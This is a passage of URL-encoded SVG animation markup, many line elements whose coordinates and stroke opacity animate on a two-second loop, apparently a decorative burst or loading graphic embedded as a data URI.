3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2244.5751%3B44.5751%3B34.2156%3B22.6964%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22242.9266%3B242.9266%3B242.0127%3B237.8786%3B233.2817%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.8652%3B46.8652%3B44.5751%3B34.2156%3B22.6964%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22123.4999%22%20y1%3D%22312.9411%22%20x2%3D%22129.1316%22%20y2%3D%22310.8506%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.4999%3B123.4999%3B112.892%3B101.0734%3B87.8244%3B72.8684%3B55.8529%3B36.3211%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22312.9411%3B312.9411%3B316.8787%3B321.2658%3B326.1839%3B331.7355%3B338.0517%3B345.3019%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22129.1316%3B129.1316%3B123.4999%3B112.892%3B101.0734%3B87.8244%3B72.8684%3B55.8529%3B36.3211%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22310.8506%3B310.8506%3B312.9411%3B316.8787%3B321.2658%3B326.1839%3B331.7355%3B338.0517%3B345.3019%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22123.0742%22%20y1%3D%22452.3501%22%20x2%3D%22128.0971%22%20y2%3D%22446.9338%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.0742%3B123.0742%3B123.0742%3B112.4795%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.3501%3B452.3501%3B452.3501%3B463.7746%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22128.0971%3B128.0971%3B128.0971%3B123.0742%3B112.4795%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22446.9338%3B446.9338%3B446.9338%3B452.3501%3B463.7746%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22463.2906%22%20y1%3D%2253.2763%22%20x2%3D%22460.4253%22%20y2%3D%2257.01%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22463.2906%3B463.2906%3B463.2906%3B470.9539%3B479.4833%3B489.0343%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2253.2763%3B53.2763%3B53.2763%3B43.2901%3B32.1753%3B19.7293%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22460.4253%3B460.4253%3B460.4253%3B463.2906%3B470.9539%3B479.4833%3B489.0343%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2257.01%3B57.01%3B57.01%3B53.2763%3B43.2901%3B32.1753%3B19.7293%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22565.7525%22%20y1%3D%22381.2313%22%20x2%3D%22559.4311%22%20y2%3D%22377.5984%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22565.7525%3B565.7525%3B565.7525%3B578.9771%3B593.7059%3B610.2112%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22381.2313%3B381.2313%3B381.2313%3B388.8313%3B397.2958%3B406.7812%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22559.4311%3B559.4311%3B559.4311%3B565.7525%3B578.9771%3B593.7059%3B610.2112%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.5984%3B377.5984%3B377.5984%3B381.2313%3B388.8313%3B397.2958%3B406.7812%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22421.9278%22%20y1%3D%22227.4392%22%20x2%3D%22420.9674%22%20y2%3D%22227.5575%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.9278%3B421.9278%3B421.9278%3B427.3178%3B433.3097%3B440.0102%3B447.553%3B456.1075%3B465.892%3B477.1922%3B490.3898%3B506.0067%3B524.7752%3B547.7563%3B576.5476%3B613.6715%3B613.6715%3B613.6715%3B613.6715%3B613.6715%3B613.6715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22227.4392%3B227.4392%3B227.4392%3B226.7749%3B226.0366%3B225.2108%3B224.2813%3B223.2271%3B222.0214%3B220.6288%3B219.0024%3B217.0779%3B214.765%3B211.933%3B208.385%3B203.8101%3B203.8101%3B203.8101%3B203.8101%3B203.8101%3B203.8101%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22420.9674%3B420.9674%3B420.9674%3B421.9278%3B427.3178%3B433.3097%3B440.0102%3B447.553%3B456.1075%3B465.892%3B477.1922%3B490.3898%3B506.0067%3B524.7752%3B547.7563%3B576.5476%3B647.478%3B647.478%3B647.478%3B647.478%3B647.478%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22227.5575%3B227.5575%3B227.5575%3B227.4392%3B226.7749%3B226.0366%3B225.2108%3B224.2813%3B223.2271%3B222.0214%3B220.6288%3B219.0024%3B217.0779%3B214.765%3B211.933%3B208.385%3B199.644%3B199.644%3B199.644%3B199.644%3B199.644%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22151.8067%22%20y1%3D%22403.5139%22%20x2%3D%22155.8408%22%20y2%3D%22399.592%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22151.8067%3B151.8067%3B151.8067%3B151.8067%3B142.7727%3B132.7132%3B121.443%3B108.7296%3B94.2767%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.5139%3B403.5139%3B403.5139%3B403.5139%3B412.2965%3B422.0761%3B433.0328%3B445.3925%3B459.4432%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22155.8408%3B155.8408%3B155.8408%3B155.8408%3B151.8067%3B142.7727%3B132.7132%3B121.443%3B108.7296%3B94.2767%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22399.592%3B399.592%3B399.592%3B399.592%3B403.5139%3B412.2965%3B422.0761%3B433.0328%3B445.3925%3B459.4432%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22416.5613%22%20y1%3D%22317.3721%22%20x2%3D%22412.3714%22%20y2%3D%22314.0149%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22416.5613%3B416.5613%3B416.5613%3B416.5613%3B421.8587%3B427.7712%3B434.4123%3B441.9257%3B450.4952%3B460.3604%3B471.8391%3B485.3626%3B501.5305%3B521.2025%3B545.6564%3B576.8768%3B618.1233%3B618.1233%3B618.1233%3B618.1233%3B618.1233%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22317.3721%3B317.3721%3B317.3721%3B317.3721%3B321.6169%3B326.3544%3B331.6757%3B337.696%3B344.5625%3B352.4673%3B361.6649%3B372.5009%3B385.4558%3B401.2186%3B420.8128%3B445.829%3B478.8788%3B478.8788%3B478.8788%3B478.8788%3B478.8788%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22412.3714%3B412.3714%3B412.3714%3B412.3714%3B416.5613%3B421.8587%3B427.7712%3B434.4123%3B441.9257%3B450.4952%3B460.3604%3B471.8391%3B485.3626%3B501.5305%3B521.2025%3B545.6564%3B576.8768%3B626.7641%3B626.7641%3B626.7641%3B626.7641%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22314.0149%3B314.0149%3B314.0149%3B314.0149%3B317.3721%3B321.6169%3B326.3544%3B331.6757%3B337.696%3B344.5625%3B352.4673%3B361.6649%3B372.5009%3B385.4558%3B401.2186%3B420.8128%3B445.829%3B485.8025%3B485.8025%3B485.8025%3B485.8025%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.2392%22%20y1%3D%22441.6849%22%20x2%3D%22593.8602%22%20y2%3D%22436.3932%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22601.2392%3B601.2392%3B601.2392%3B601.2392%3B616.3819%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22441.6849%3B441.6849%3B441.6849%3B441.6849%3B452.5442%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22593.8602%3B593.8602%3B593.8602%3B593.8602%3B601.2392%3B616.3819%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22436.3932%3B436.3932%3B436.3932%3B436.3932%3B441.6849%3B452.5442%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22332.1963%22%20y1%3D%22424.2581%22%20x2%3D%22331.7929%22%20y2%3D%22418.1628%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.1963%3B332.1963%3B332.1963%3B332.1963%3B332.8579%3B333.5954%3B334.4226%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22424.2581%3B424.2581%3B424.2581%3B424.2581%3B434.2531%3B445.3946%3B457.8919%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22331.7929%3B331.7929%3B331.7929%3B331.7929%3B332.1963%3B332.8579%3B333.5954%3B334.4226%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22418.1628%3B418.1628%3B418.1628%3B418.1628%3B424.2581%3B434.2531%3B445.3946%3B457.8919%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22589.0117%22%20y1%3D%22140.761%22%20x2%3D%22577.2526%22%20y2%3D%22145.0989%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22589.0117%3B589.0117%3B589.0117%3B589.0117%3B589.0117%3B603.7752%3B620.2533%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.761%3B140.761%3B140.761%3B140.761%3B140.761%3B135.3147%3B129.2359%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22577.2526%3B577.2526%3B577.2526%3B577.2526%3B577.2526%3B589.0117%3B603.7752%3B620.2533%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22145.0989%3B145.0989%3B145.0989%3B145.0989%3B145.0989%3B140.761%3B135.3147%3B129.2359%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22380.2193%22%20y1%3D%22161.0349%22%20x2%3D%22379.1349%22%20y2%3D%22162.4568%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.2193%3B380.2193%3B380.2193%3B380.2193%3B380.2193%3B383.433%3B387.0091%3B391.0125%3B395.5246%3B400.6491%3B406.5196%3B413.3118%3B421.2613%3B430.6914%3B442.0583%3B456.0268%3B473.6057%3B496.4024%3B496.4024%3B496.4024%3B496.4024%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22161.0349%3B161.0349%3B161.0349%3B161.0349%3B161.0349%3B156.8207%3B152.1314%3B146.8818%3B140.9651%3B134.2454%3B126.5475%3B117.6409%3B107.2168%3B94.8512%3B79.9459%3B61.629%3B38.5779%3B8.6848%3B8.6848%3B8.6848%3B8.6848%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.1349%3B379.1349%3B379.1349%3B379.1349%3B379.1349%3B380.2193%3B383.433%3B387.0091%3B391.0125%3B395.5246%3B400.6491%3B406.5196%3B413.3118%3B421.2613%3B430.6914%3B442.0583%3B456.0268%3B473.6057%3B507.1528%3B507.1528%3B507.1528%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22162.4568%3B162.4568%3B162.4568%3B162.4568%3B162.4568%3B161.0349%3B156.8207%3B152.1314%3B146.8818%3B140.9651%3B134.2454%3B126.5475%3B117.6409%3B107.2168%3B94.8512%3B79.9459%3B61.629%3B38.5779%3B-5.4121%3B-5.4121%3B-5.4121%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22323.6301%22%20y1%3D%22147.9706%22%20x2%3D%22323.4748%22%20y2%3D%22151.9067%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.6301%3B323.6301%3B323.6301%3B323.6301%3B323.6301%3B323.8291%3B324.0512%3B324.3007%3B324.5828%3B324.9047%3B325.2751%3B325.7061%3B326.2137%3B326.8205%3B327.5586%3B328.4759%3B328.4759%3B328.4759%3B328.4759%3B328.4759%3B328.4759%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22147.9706%3B147.9706%3B147.9706%3B147.9706%3B147.9706%3B142.9252%3B137.2945%3B130.9704%3B123.8164%3B115.6576%3B106.2665%3B95.3408%3B82.4711%3B67.0879%3B48.3751%3B25.1206%3B25.1206%3B25.1206%3B25.1206%3B25.1206%3B25.1206%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.4748%3B323.4748%3B323.4748%3B323.4748%3B323.4748%3B323.6301%3B323.8291%3B324.0512%3B324.3007%3B324.5828%3B324.9047%3B325.2751%3B325.7061%3B326.2137%3B326.8205%3B327.5586%3B329.6418%3B329.6418%3B329.6418%3B329.6418%3B329.6418%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22151.9067%3B151.9067%3B151.9067%3B151.9067%3B151.9067%3B147.9706%3B142.9252%3B137.2945%3B130.9704%3B123.8164%3B115.6576%3B106.2665%3B95.3408%3B82.4711%3B67.0879%3B48.3751%3B-4.4369%3B-4.4369%3B-4.4369%3B-4.4369%3B-4.4369%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2283.2274%22%20y1%3D%22159.9371%22%20x2%3D%2289.5264%22%20y2%3D%22162.0671%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2283.2274%3B83.2274%3B83.2274%3B83.2274%3B83.2274%3B83.2274%3B70.4738%3B56.2682%3B40.3474%3B22.3809%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22159.9371%3B159.9371%3B159.9371%3B159.9371%3B159.9371%3B159.9371%3B155.6246%3B150.8211%3B145.4376%3B139.3623%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2289.5264%3B89.5264%3B89.5264%3B89.5264%3B89.5264%3B89.5264%3B83.2274%3B70.4738%3B56.2682%3B40.3474%3B22.3809%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%